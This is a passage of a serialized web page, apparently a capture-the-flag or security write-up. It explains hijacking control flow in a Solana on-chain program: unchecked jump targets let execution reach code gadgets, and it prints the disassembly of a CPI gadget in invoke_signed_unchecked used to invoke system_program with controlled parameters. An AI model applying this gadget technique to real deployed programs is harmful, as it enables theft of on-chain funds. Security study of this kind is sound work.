shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[41476],{"type":23,"tag":64,"props":41477,"children":41478},{"__ignoreMap":7},[41479,41487,41495,41503,41511,41519,41527],{"type":23,"tag":481,"props":41480,"children":41481},{"class":483,"line":484},[41482],{"type":23,"tag":481,"props":41483,"children":41484},{},[41485],{"type":28,"value":41486},"graph LR\n",{"type":23,"tag":481,"props":41488,"children":41489},{"class":483,"line":351},[41490],{"type":23,"tag":481,"props":41491,"children":41492},{},[41493],{"type":28,"value":41494}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":481,"props":41496,"children":41497},{"class":483,"line":531},[41498],{"type":23,"tag":481,"props":41499,"children":41500},{},[41501],{"type":28,"value":41502}," B --> C[2: process]\n",{"type":23,"tag":481,"props":41504,"children":41505},{"class":483,"line":567},[41506],{"type":23,"tag":481,"props":41507,"children":41508},{},[41509],{"type":28,"value":41510}," C --> D[3: gadget1]\n",{"type":23,"tag":481,"props":41512,"children":41513},{"class":483,"line":678},[41514],{"type":23,"tag":481,"props":41515,"children":41516},{},[41517],{"type":28,"value":41518}," C --> E[3: process]\n",{"type":23,"tag":481,"props":41520,"children":41521},{"class":483,"line":784},[41522],{"type":23,"tag":481,"props":41523,"children":41524},{},[41525],{"type":28,"value":41526}," E --> F[4: gadget2]\n",{"type":23,"tag":481,"props":41528,"children":41529},{"class":483,"line":812},[41530],{"type":23,"tag":481,"props":41531,"children":41532},{},[41533],{"type":28,"value":41534}," E --> G[...]\n",{"type":23,"tag":24,"props":41536,"children":41537},{},[41538],{"type":28,"value":41539},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":24,"props":41541,"children":41542},{},[41543,41545,41551],{"type":28,"value":41544},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":190,"props":41546,"children":41548},{"href":38006,"rel":41547},[194],[41549],{"type":28,"value":41550},"Binary Ninja",{"type":28,"value":41552}," to find a suitable gadget for this.",{"type":23,"tag":24,"props":41554,"children":41555},{},[41556,41558,41565],{"type":28,"value":41557},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":190,"props":41559,"children":41562},{"href":41560,"rel":41561},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[194],[41563],{"type":28,"value":41564},"skip the strip pass",{"type":28,"value":199},{"type":23,"tag":7092,"props":41567,"children":41569},{"id":41568},"cpi-gadget",[41570],{"type":28,"value":41571},"CPI Gadget",{"type":23,"tag":24,"props":41573,"children":41574},{},[41575,41577,41582,41584,41591,41593,41599],{"type":28,"value":41576},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":64,"props":41578,"children":41580},{"className":41579},[],[41581],{"type":28,"value":35814},{"type":28,"value":41583}," function. This function calls into the solana sdk's function ",{"type":23,"tag":190,"props":41585,"children":41588},{"href":41586,"rel":41587},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[194],[41589],{"type":28,"value":41590},"invoke_signed_unchecked",{"type":28,"value":41592},", yielding a powerful gadget at the address ",{"type":23,"tag":64,"props":41594,"children":41596},{"className":41595},[],[41597],{"type":28,"value":41598},"0x100001ba8",{"type":28,"value":199},{"type":23,"tag":435,"props":41601,"children":41603},{"className":475,"code":41602,"language":474,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[41604],{"type":23,"tag":64,"props":41605,"children":41606},{"__ignoreMap":7},[41607,41632,41688,41739,41791,41843,41866,41914,41921,41953,42004,42062,42096,42103,42152,42182,42257,42264,42315,42361,42368,42399,42450,42480,42502,42509,42560,42605,42612,42663,42691,42712,42719],{"type":23,"tag":481,"props":41608,"children":41609},{"class":483,"line":484},[41610,41614,41618,41623,41627],{"type":23,"tag":481,"props":41611,"children":41612},{"style":525},[41613],{"type":28,"value":11141},{"type":23,"tag":481,"props":41615,"children":41616},{"style":514},[41617],{"type":28,"value":1006},{"type":23,"tag":481,"props":41619,"children":41620},{"style":525},[41621],{"type":28,"value":41622},"program",{"type":23,"tag":481,"props":41624,"children":41625},{"style":514},[41626],{"type":28,"value":1006},{"type":23,"tag":481,"props":41628,"children":41629},{"style":508},[41630],{"type":28,"value":41631},"invoke_signed_unchecked\n",{"type":23,"tag":481,"props":41633,"children":41634},{"class":483,"line":351},[41635,41640,41645,41650,41655,41660,41665,41669,41674,41679,41684],{"type":23,"tag":481,"props":41636,"children":41637},{"style":508},[41638],{"type":28,"value":41639},"100001ba8",{"type":23,"tag":481,"props":41641,"children":41642},{"style":508},[41643],{"type":28,"value":41644}," 79a278ff00000000",{"type":23,"tag":481,"props":41646,"children":41647},{"style":508},[41648],{"type":28,"value":41649}," ldxdw",{"type":23,"tag":481,"props":41651,"children":41652},{"style":508},[41653],{"type":28,"value":41654}," r2",{"type":23,"tag":481,"props":41656,"children":41657},{"style":525},[41658],{"type":28,"value":41659},", [",{"type":23,"tag":481,"props":41661,"children":41662},{"style":508},[41663],{"type":28,"value":41664},"r10",{"type":23,"tag":481,"props":41666,"children":41667},{"style":514},[41668],{"type":28,"value":1876},{"type":23,"tag":481,"props":41670,"children":41671},{"style":551},[41672],{"type":28,"value":41673},"136",{"type":23,"tag":481,"props":41675,"children":41676},{"style":525},[41677],{"type":28,"value":41678},"] {",{"type":23,"tag":481,"props":41680,"children":41681},{"style":508},[41682],{"type":28,"value":41683},"var_88",{"type":23,"tag":481,"props":41685,"children":41686},{"style":525},[41687],{"type":28,"value":1443},{"type":23,"tag":481,"props":41689,"children":41690},{"class":483,"line":531},[41691,41696,41701,41705,41710,41714,41718,41722,41726,41730,41735],{"type":23,"tag":481,"props":41692,"children":41693},{"style":508},[41694],{"type":28,"value":41695},"100001bb0",{"type":23,"tag":481,"props":41697,"children":41698},{"style":508},[41699],{"type":28,"value":41700}," 79a380ff00000000",{"type":23,"tag":481,"props":41702,"children":41703},{"style":508},[41704],{"type":28,"value":41649},{"type":23,"tag":481,"props":41706,"children":41707},{"style":508},[41708],{"type":28,"value":41709}," r3",{"type":23,"tag":481,"props":41711,"children":41712},{"style":525},[41713],{"type":28,"value":41659},{"type":23,"tag":481,"props":41715,"children":41716},{"style":508},[41717],{"type":28,"value":41664},{"type":23,"tag":481,"props":41719,"children":41720},{"style":514},[41721],{"type":28,"value":1876},{"type":23,"tag":481,"props":41723,"children":41724},{"style":551},[41725],{"type":28,"value":27361},{"type":23,"tag":481,"props":41727,"children":41728},{"style":525},[41729],{"type":28,"value":41678},{"type":23,"tag":481,"props":41731,"children":41732},{"style":508},[41733],{"type":28,"value":41734},"var_80",{"type":23,"tag":481,"props":41736,"children":41737},{"style":525},[41738],{"type":28,"value":1443},{"type":23,"tag":481,"props":41740,"children":41741},{"class":483,"line":567},[41742,41747,41752,41756,41761,41765,41769,41773,41778,41782,41787],{"type":23,"tag":481,"props":41743,"children":41744},{"style":508},[41745],{"type":28,"value":41746},"100001bb8",{"type":23,"tag":481,"props":41748,"children":41749},{"style":508},[41750],{"type":28,"value":41751}," 79a468ff00000000",{"type":23,"tag":481,"props":41753,"children":41754},{"style":508},[41755],{"type":28,"value":41649},{"type":23,"tag":481,"props":41757,"children":41758},{"style":508},[41759],{"type":28,"value":41760}," r4",{"type":23,"tag":481,"props":41762,"children":41763},{"style":525},[41764],{"type":28,"value":41659},{"type":23,"tag":481,"props":41766,"children":41767},{"style":508},[41768],{"type":28,"value":41664},{"type":23,"tag":481,"props":41770,"children":41771},{"style":514},[41772],{"type":28,"value":1876},{"type":23,"tag":481,"props":41774,"children":41775},{"style":551},[41776],{"type":28,"value":41777},"152",{"type":23,"tag":481,"props":41779,"children":41780},{"style":525},[41781],{"type":28,"value":41678},{"type":23,"tag":481,"props":41783,"children":41784},{"style":508},[41785],{"type":28,"value":41786},"var_98",{"type":23,"tag":481,"props":41788,"children":41789},{"style":525},[41790],{"type":28,"value":1443},{"type":23,"tag":481,"props":41792,"children":41793},{"class":483,"line":678},[41794,41799,41804,41808,41813,41817,41821,41825,41830,41834,41839],{"type":23,"tag":481,"props":41795,"children":41796},{"style":508},[41797],{"type":28,"value":41798},"100001bc0",{"type":23,"tag":481,"props":41800,"children":41801},{"style":508},[41802],{"type":28,"value":41803}," 79a570ff00000000",{"type":23,"tag":481,"props":41805,"children":41806},{"style":508},[41807],{"type":28,"value":41649},{"type":23,"tag":481,"props":41809,"children":41810},{"style":508},[41811],{"type":28,"value":41812}," r5",{"type":23,"tag":481,"props":41814,"children":41815},{"style":525},[41816],{"type":28,"value":41659},{"type":23,"tag":481,"props":41818,"children":41819},{"style":508},[41820],{"type":28,"value":41664},{"type":23,"tag":481,"props":41822,"children":41823},{"style":514},[41824],{"type":28,"value":1876},{"type":23,"tag":481,"props":41826,"children":41827},{"style":551},[41828],{"type":28,"value":41829},"144",{"type":23,"tag":481,"props":41831,"children":41832},{"style":525},[41833],{"type":28,"value":41678},{"type":23,"tag":481,"props":41835,"children":41836},{"style":508},[41837],{"type":28,"value":41838},"var_90",{"type":23,"tag":481,"props":41840,"children":41841},{"style":525},[41842],{"type":28,"value":1443},{"type":23,"tag":481,"props":41844,"children":41845},{"class":483,"line":784},[41846,41851,41856,41861],{"type":23,"tag":481,"props":41847,"children":41848},{"style":508},[41849],{"type":28,"value":41850},"100001bc8",{"type":23,"tag":481,"props":41852,"children":41853},{"style":551},[41854],{"type":28,"value":41855}," 8520000020100000",{"type":23,"tag":481,"props":41857,"children":41858},{"style":508},[41859],{"type":28,"value":41860}," call",{"type":23,"tag":481,"props":41862,"children":41863},{"style":508},[41864],{"type":28,"value":41865}," sol_invoke_signed_rust\n",{"type":23,"tag":481,"props":41867,"children":41868},{"class":483,"line":812},[41869,41874,41879,41884,41888,41892,41896,41900,41905,41909],{"type":23,"tag":481,"props":41870,"children":41871},{"style":508},[41872],{"type":28,"value":41873},"100001bd0",{"type":23,"tag":481,"props":41875,"children":41876},{"style":551},[41877],{"type":28,"value":41878}," 5500040000000000",{"type":23,"tag":481,"props":41880,"children":41881},{"style":508},[41882],{"type":28,"value":41883}," jne",{"type":23,"tag":481,"props":41885,"children":41886},{"style":525},[41887],{"type":28,"value":6199},{"type":23,"tag":481,"props":41889,"children":41890},{"style":514},[41891],{"type":28,"value":1930},{"type":23,"tag":481,"props":41893,"children":41894},{"style":551},[41895],{"type":28,"value":15021},{"type":23,"tag":481,"props":41897,"children":41898},{"style":525},[41899],{"type":28,"value":3297},{"type":23,"tag":481,"props":41901,"children":41902},{"style":508},[41903],{"type":28,"value":41904},"r0",{"type":23,"tag":481,"props":41906,"children":41907},{"style":525},[41908],{"type":28,"value":588},{"type":23,"tag":481,"props":41910,"children":41911},{"style":551},[41912],{"type":28,"value":41913},"0x0\n",{"type":23,"tag":481,"props":41915,"children":41916},{"class":483,"line":825},[41917],{"type":23,"tag":481,"props":41918,"children":41919},{"emptyLinePlaceholder":15},[41920],{"type":28,"value":1210},{"type":23,"tag":481,"props":41922,"children":41923},{"class":483,"line":843},[41924,41929,41934,41939,41944,41948],{"type":23,"tag":481,"props":41925,"children":41926},{"style":508},[41927],{"type":28,"value":41928},"100001bd8",{"type":23,"tag":481,"props":41930,"children":41931},{"style":508},[41932],{"type":28,"value":41933}," b701000018000000",{"type":23,"tag":481,"props":41935,"children":41936},{"style":508},[41937],{"type":28,"value":41938}," mov",{"type":23,"tag":481,"props":41940,"children":41941},{"style":508},[41942],{"type":28,"value":41943}," r1",{"type":23,"tag":481,"props":41945,"children":41946},{"style":525},[41947],{"type":28,"value":588},{"type":23,"tag":481,"props":41949,"children":41950},{"style":551},[41951],{"type":28,"value":41952},"0x18\n",{"type":23,"tag":481,"props":41954,"children":41955},{"class":483,"line":864},[41956,41961,41966,41970,41974,41978,41982,41986,41991,41995,42000],{"type":23,"tag":481,"props":41957,"children":41958},{"style":508},[41959],{"type":28,"value":41960},"100001be0",{"type":23,"tag":481,"props":41962,"children":41963},{"style":508},[41964],{"type":28,"value":41965}," 79a288ff00000000",{"type":23,"tag":481,"props":41967,"children":41968},{"style":508},[41969],{"type":28,"value":41649},{"type":23,"tag":481,"props":41971,"children":41972},{"style":508},[41973],{"type":28,"value":41654},{"type":23,"tag":481,"props":41975,"children":41976},{"style":525},[41977],{"type":28,"value":41659},{"type":23,"tag":481,"props":41979,"children":41980},{"style":508},[41981],{"type":28,"value":41664},{"type":23,"tag":481,"props":41983,"children":41984},{"style":514},[41985],{"type":28,"value":1876},{"type":23,"tag":481,"props":41987,"children":41988},{"style":551},[41989],{"type":28,"value":41990},"120",{"type":23,"tag":481,"props":41992,"children":41993},{"style":525},[41994],{"type":28,"value":41678},{"type":23,"tag":481,"props":41996,"children":41997},{"style":508},[41998],{"type":28,"value":41999},"var_78",{"type":23,"tag":481,"props":42001,"children":42002},{"style":525},[42003],{"type":28,"value":1443},{"type":23,"tag":481,"props":42005,"children":42006},{"class":483,"line":873},[42007,42012,42017,42022,42026,42031,42035,42039,42043,42048,42053,42058],{"type":23,"tag":481,"props":42008,"children":42009},{"style":508},[42010],{"type":28,"value":42011},"100001be8",{"type":23,"tag":481,"props":42013,"children":42014},{"style":551},[42015],{"type":28,"value":42016}," 6312000000000000",{"type":23,"tag":481,"props":42018,"children":42019},{"style":508},[42020],{"type":28,"value":42021}," stxw",{"type":23,"tag":481,"props":42023,"children":42024},{"style":525},[42025],{"type":28,"value":20531},{"type":23,"tag":481,"props":42027,"children":42028},{"style":508},[42029],{"type":28,"value":42030},"r2",{"type":23,"tag":481,"props":42032,"children":42033},{"style":514},[42034],{"type":28,"value":1876},{"type":23,"tag":481,"props":42036,"children":42037},{"style":551},[42038],{"type":28,"value":1568},{"type":23,"tag":481,"props":42040,"children":42041},{"style":525},[42042],{"type":28,"value":20559},{"type":23,"tag":481,"props":42044,"children":42045},{"style":508},[42046],{"type":28,"value":42047},"r1",{"type":23,"tag":481,"props":42049,"children":42050},{"style":525},[42051],{"type":28,"value":42052}," {",{"type":23,"tag":481,"props":42054,"children":42055},{"style":551},[42056],{"type":28,"value":42057},"0x18",{"type":23,"tag":481,"props":42059,"children":42060},{"style":525},[42061],{"type":28,"value":1443},{"type":23,"tag":481,"props":42063,"children":42064},{"class":483,"line":1125},[42065,42070,42075,42080,42084,42088,42092],{"type":23,"tag":481,"props":42066,"children":42067},{"style":508},[42068],{"type":28,"value":42069},"100001bf0",{"type":23,"tag":481,"props":42071,"children":42072},{"style":551},[42073],{"type":28,"value":42074}," 0500030000000000",{"type":23,"tag":481,"props":42076,"children":42077},{"style":508},[42078],{"type":28,"value":42079}," ja",{"type":23,"tag":481,"props":42081,"children":42082},{"style":525},[42083],{"type":28,"value":6199},{"type":23,"tag":481,"props":42085,"children":42086},{"style":514},[42087],{"type":28,"value":1930},{"type":23,"tag":481,"props":42089,"children":42090},{"style":551},[42091],{"type":28,"value":14788},{"type":23,"tag":481,"props":42093,"children":42094},{"style":525},[42095],{"type":28,"value":3469},{"type":23,"tag":481,"props":42097,"children":42098},{"class":483,"line":1142},[42099],{"type":23,"tag":481,"props":42100,"children":42101},{"emptyLinePlaceholder":15},[42102],{"type":28,"value":1210},{"type":23,"tag":481,"props":42104,"children":42105},{"class":483,"line":1159},[42106,42111,42116,42120,42124,42128,42132,42136,42140,42144,42148],{"type":23,"tag":481,"props":42107,"children":42108},{"style":508},[42109],{"type":28,"value":42110},"100001bf8",{"type":23,"tag":481,"props":42112,"children":42113},{"style":508},[42114],{"type":28,"value":42115}," 79a188ff00000000",{"type":23,"tag":481,"props":42117,"children":42118},{"style":508},[42119],{"type":28,"value":41649},{"type":23,"tag":481,"props":42121,"children":42122},{"style":508},[42123],{"type":28,"value":41943},{"type":23,"tag":481,"props":42125,"children":42126},{"style":525},[42127],{"type":28,"value":41659},{"type":23,"tag":481,"props":42129,"children":42130},{"style":508},[42131],{"type":28,"value":41664},{"type":23,"tag":481,"props":42133,"children":42134},{"style":514},[42135],{"type":28,"value":1876},{"type":23,"tag":481,"props":42137,"children":42138},{"style":551},[42139],{"type":28,"value":41990},{"type":23,"tag":481,"props":42141,"children":42142},{"style":525},[42143],{"type":28,"value":41678},{"type":23,"tag":481,"props":42145,"children":42146},{"style":508},[42147],{"type":28,"value":41999},{"type":23,"tag":481,"props":42149,"children":42150},{"style":525},[42151],{"type":28,"value":1443},{"type":23,"tag":481,"props":42153,"children":42154},{"class":483,"line":1172},[42155,42160,42165,42169,42173,42177],{"type":23,"tag":481,"props":42156,"children":42157},{"style":508},[42158],{"type":28,"value":42159},"100001c00",{"type":23,"tag":481,"props":42161,"children":42162},{"style":508},[42163],{"type":28,"value":42164}," bf02000000000000",{"type":23,"tag":481,"props":42166,"children":42167},{"style":508},[42168],{"type":28,"value":41938},{"type":23,"tag":481,"props":42170,"children":42171},{"style":508},[42172],{"type":28,"value":41654},{"type":23,"tag":481,"props":42174,"children":42175},{"style":525},[42176],{"type":28,"value":588},{"type":23,"tag":481,"props":42178,"children":42179},{"style":508},[42180],{"type":28,"value":42181},"r0\n",{"type":23,"tag":481,"props":42183,"children":42184},{"class":483,"line":1181},[42185,42190,42195,42199,42204,42208,42213,42217,42221,42226,42230,42234,42239,42244,42248,42252],{"type":23,"tag":481,"props":42186,"children":42187},{"style":508},[42188],{"type":28,"value":42189},"100001c08",{"type":23,"tag":481,"props":42191,"children":42192},{"style":551},[42193],{"type":28,"value":42194}," 8510000075000000",{"type":23,"tag":481,"props":42196,"children":42197},{"style":508},[42198],{"type":28,"value":41860},{"type":23,"tag":481,"props":42200,"children":42201},{"style":943},[42202],{"type":28,"value":42203}," _ZN94_",{"type":23,"tag":481,"props":42205,"children":42206},{"style":514},[42207],{"type":28,"value":7773},{"type":23,"tag":481,"props":42209,"children":42210},{"style":943},[42211],{"type":28,"value":42212},"LT",{"type":23,"tag":481,"props":42214,"children":42215},{"style":514},[42216],{"type":28,"value":7773},{"type":23,"tag":481,"props":42218,"children":42219},{"style":508},[42220],{"type":28,"value":11141},{"type":23,"tag":481,"props":42222,"children":42223},{"style":514},[42224],{"type":28,"value":42225},"...$",{"type":23,"tag":481,"props":42227,"children":42228},{"style":508},[42229],{"type":28,"value":5521},{"type":23,"tag":481,"props":42231,"children":42232},{"style":514},[42233],{"type":28,"value":7773},{"type":23,"tag":481,"props":42235,"children":42236},{"style":943},[42237],{"type":28,"value":42238},"GT",{"type":23,"tag":481,"props":42240,"children":42241},{"style":514},[42242],{"type":28,"value":42243},"$$",{"type":23,"tag":481,"props":42245,"children":42246},{"style":943},[42247],{"type":28,"value":42238},{"type":23,"tag":481,"props":42249,"children":42250},{"style":514},[42251],{"type":28,"value":7773},{"type":23,"tag":481,"props":42253,"children":42254},{"style":525},[42255],{"type":28,"value":42256},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":481,"props":42258,"children":42259},{"class":483,"line":1204},[42260],{"type":23,"tag":481,"props":42261,"children":42262},{"emptyLinePlaceholder":15},[42263],{"type":28,"value":1210},{"type":23,"tag":481,"props":42265,"children":42266},{"class":483,"line":1213},[42267,42272,42277,42281,42285,42289,42293,42297,42302,42306,42311],{"type":23,"tag":481,"props":42268,"children":42269},{"style":508},[42270],{"type":28,"value":42271},"100001c10",{"type":23,"tag":481,"props":42273,"children":42274},{"style":508},[42275],{"type":28,"value":42276}," 79a2b8ff00000000",{"type":23,"tag":481,"props":42278,"children":42279},{"style":508},[42280],{"type":28,"value":41649},{"type":23,"tag":481,"props":42282,"children":42283},{"style":508},[42284],{"type":28,"value":41654},{"type":23,"tag":481,"props":42286,"children":42287},{"style":525},[42288],{"type":28,"value":41659},{"type":23,"tag":481,"props":42290,"children":42291},{"style":508},[42292],{"type":28,"value":41664},{"type":23,"tag":481,"props":42294,"children":42295},{"style":514},[42296],{"type":28,"value":1876},{"type":23,"tag":481,"props":42298,"children":42299},{"style":551},[42300],{"type":28,"value":42301},"72",{"type":23,"tag":481,"props":42303,"children":42304},{"style":525},[42305],{"type":28,"value":41678},{"type":23,"tag":481,"props":42307,"children":42308},{"style":508},[42309],{"type":28,"value":42310},"var_48",{"type":23,"tag":481,"props":42312,"children":42313},{"style":525},[42314],{"type":28,"value":1443},{"type":23,"tag":481,"props":42316,"children":42317},{"class":483,"line":1222},[42318,42323,42328,42333,42337,42341,42345,42349,42353,42357],{"type":23,"tag":481,"props":42319,"children":42320},{"style":508},[42321],{"type":28,"value":42322},"100001c18",{"type":23,"tag":481,"props":42324,"children":42325},{"style":551},[42326],{"type":28,"value":42327}," 1502040000000000",{"type":23,"tag":481,"props":42329,"children":42330},{"style":508},[42331],{"type":28,"value":42332}," jeq",{"type":23,"tag":481,"props":42334,"children":42335},{"style":525},[42336],{"type":28,"value":6199},{"type":23,"tag":481,"props":42338,"children":42339},{"style":514},[42340],{"type":28,"value":1930},{"type":23,"tag":481,"props":42342,"children":42343},{"style":551},[42344],{"type":28,"value":15021},{"type":23,"tag":481,"props":42346,"children":42347},{"style":525},[42348],{"type":28,"value":3297},{"type":23,"tag":481,"props":42350,"children":42351},{"style":508},[42352],{"type":28,"value":42030},{"type":23,"tag":481,"props":42354,"children":42355},{"style":525},[42356],{"type":28,"value":588},{"type":23,"tag":481,"props":42358,"children":42359},{"style":551},[42360],{"type":28,"value":41913},{"type":23,"tag":481,"props":42362,"children":42363},{"class":483,"line":1291},[42364],{"type":23,"tag":481,"props":42365,"children":42366},{"emptyLinePlaceholder":15},[42367],{"type":28,"value":1210},{"type":23,"tag":481,"props":42369,"children":42370},{"class":483,"line":1299},[42371,42376,42381,42386,42390,42394],{"type":23,"tag":481,"props":42372,"children":42373},{"style":508},[42374],{"type":28,"value":42375},"100001c20",{"type":23,"tag":481,"props":42377,"children":42378},{"style":551},[42379],{"type":28,"value":42380}," 2702000022000000",{"type":23,"tag":481,"props":42382,"children":42383},{"style":508},[42384],{"type":28,"value":42385}," mul",{"type":23,"tag":481,"props":42387,"children":42388},{"style":508},[42389],{"type":28,"value":41654},{"type":23,"tag":481,"props":42391,"children":42392},{"style":525},[42393],{"type":28,"value":588},{"type":23,"tag":481,"props":42395,"children":42396},{"style":551},[42397],{"type":28,"value":42398},"0x22\n",{"type":23,"tag":481,"props":42400,"children":42401},{"class":483,"line":1329},[42402,42407,42412,42416,42420,42424,42428,42432,42437,42441,42446],{"type":23,"tag":481,"props":42403,"children":42404},{"style":508},[42405],{"type":28,"value":42406},"100001c28",{"type":23,"tag":481,"props":42408,"children":42409},{"style":508},[42410],{"type":28,"value":42411}," 79a1b0ff00000000",{"type":23,"tag":481,"props":42413,"children":42414},{"style":508},[42415],{"type":28,"value":41649},{"type":23,"tag":481,"props":42417,"children":42418},{"style":508},[42419],{"type":28,"value":41943},{"type":23,"tag":481,"props":42421,"children":42422},{"style":525},[42423],{"type":28,"value":41659},{"type":23,"tag":481,"props":42425,"children":42426},{"style":508},[42427],{"type":28,"value":41664},{"type":23,"tag":481,"props":42429,"children":42430},{"style":514},[42431],{"type":28,"value":1876},{"type":23,"tag":481,"props":42433,"children":42434},{"style":551},[42435],{"type":28,"value":42436},"80",{"type":23,"tag":481,"props":42438,"children":42439},{"style":525},[42440],{"type":28,"value":41678},{"type":23,"tag":481,"props":42442,"children":42443},{"style":508},[42444],{"type":28,"value":42445},"var_50",{"type":23,"tag":481,"props":42447,"children":42448},{"style":525},[42449],{"type":28,"value":1443},{"type":23,"tag":481,"props":42451,"children":42452},{"class":483,"line":1337},[42453,42458,42463,42467,42471,42475],{"type":23,"tag":481,"props":42454,"children":42455},{"style":508},[42456],{"type":28,"value":42457},"100001c30",{"type":23,"tag":481,"props":42459,"children":42460},{"style":508},[42461],{"type":28,"value":42462}," b703000001000000",{"type":23,"tag":481,"props":42464,"children":42465},{"style":508},[42466],{"type":28,"value":41938},{"type":23,"tag":481,"props":42468,"children":42469},{"style":508},[42470],{"type":28,"value":41709},{"type":23,"tag":481,"props":42472,"children":42473},{"style":525},[42474],{"type":28,"value":588},{"type":23,"tag":481,"props":42476,"children":42477},{"style":551},[42478],{"type":28,"value":42479},"0x1\n",{"type":23,"tag":481,"props":42481,"children":42482},{"class":483,"line":1369},[42483,42488,42493,42497],{"type":23,"tag":481,"props":42484,"children":42485},{"style":508},[42486],{"type":28,"value":42487},"100001c38",{"type":23,"tag":481,"props":42489,"children":42490},{"style":508},[42491],{"type":28,"value":42492}," 8510000003feffff",{"type":23,"tag":481,"props":42494,"children":42495},{"style":508},[42496],{"type":28,"value":41860},{"type":23,"tag":481,"props":42498,"children":42499},{"style":508},[42500],{"type":28,"value":42501}," __rust_dealloc\n",{"type":23,"tag":481,"props":42503,"children":42504},{"class":483,"line":1377},[42505],{"type":23,"tag":481,"props":42506,"children":42507},{"emptyLinePlaceholder":15},[42508],{"type":28,"value":1210},{"type":23,"tag":481,"props":42510,"children":42511},{"class":483,"line":1437},[42512,42517,42522,42526,42530,42534,42538,42542,42547,42551,42556],{"type":23,"tag":481,"props":42513,"children":42514},{"style":508},[42515],{"type":28,"value":42516},"100001c40",{"type":23,"tag":481,"props":42518,"children":42519},{"style":508},[42520],{"type":28,"value":42521}," 79a2d0ff00000000",{"type":23,"tag":481,"props":42523,"children":42524},{"style":508},[42525],{"type":28,"value":41649},{"type":23,"tag":481,"props":42527,"children":42528},{"style":508},[42529],{"type":28,"value":41654},{"type":23,"tag":481,"props":42531,"children":42532},{"style":525},[42533],{"type":28,"value":41659},{"type":23,"tag":481,"props":42535,"children":42536},{"style":508},[42537],{"type":28,"value":41664},{"type":23,"tag":481,"props":42539,"children":42540},{"style":514},[42541],{"type":28,"value":1876},{"type":23,"tag":481,"props":42543,"children":42544},{"style":551},[42545],{"type":28,"value":42546},"48",{"type":23,"tag":481,"props":42548,"children":42549},{"style":525},[42550],{"type":28,"value":41678},{"type":23,"tag":481,"props":42552,"children":42553},{"style":508},[42554],{"type":28,"value":42555},"var_30",{"type":23,"tag":481,"props":42557,"children":42558},{"style":525},[42559],{"type":28,"value":1443},{"type":23,"tag":481,"props":42561,"children":42562},{"class":483,"line":6528},[42563,42568,42573,42577,42581,42585,42589,42593,42597,42601],{"type":23,"tag":481,"props":42564,"children":42565},{"style":508},[42566],{"type":28,"value":42567},"100001c48",{"type":23,"tag":481,"props":42569,"children":42570},{"style":551},[42571],{"type":28,"value":42572}," 1502030000000000",{"type":23,"tag":481,"props":42574,"children":42575},{"style":508},[42576],{"type":28,"value":42332},{"type":23,"tag":481,"props":42578,"children":42579},{"style":525},[42580],{"type":28,"value":6199},{"type":23,"tag":481,"props":42582,"children":42583},{"style":514},[42584],{"type":28,"value":1930},{"type":23,"tag":481,"props":42586,"children":42587},{"style":551},[42588],{"type":28,"value":14788},{"type":23,"tag":481,"props":42590,"children":42591},{"style":525},[42592],{"type":28,"value":3297},{"type":23,"tag":481,"props":42594,"children":42595},{"style":508},[42596],{"type":28,"value":42030},{"type":23,"tag":481,"props":42598,"children":42599},{"style":525},[42600],{"type":28,"value":588},{"type":23,"tag":481,"props":42602,"children":42603},{"style":551},[42604],{"type":28,"value":41913},{"type":23,"tag":481,"props":42606,"children":42607},{"class":483,"line":6546},[42608],{"type":23,"tag":481,"props":42609,"children":42610},{"emptyLinePlaceholder":15},[42611],{"type":28,"value":1210},{"type":23,"tag":481,"props":42613,"children":42614},{"class":483,"line":6591},[42615,42620,42625,42629,42633,42637,42641,42645,42650,42654,42659],{"type":23,"tag":481,"props":42616,"children":42617},{"style":508},[42618],{"type":28,"value":42619},"100001c50",{"type":23,"tag":481,"props":42621,"children":42622},{"style":508},[42623],{"type":28,"value":42624}," 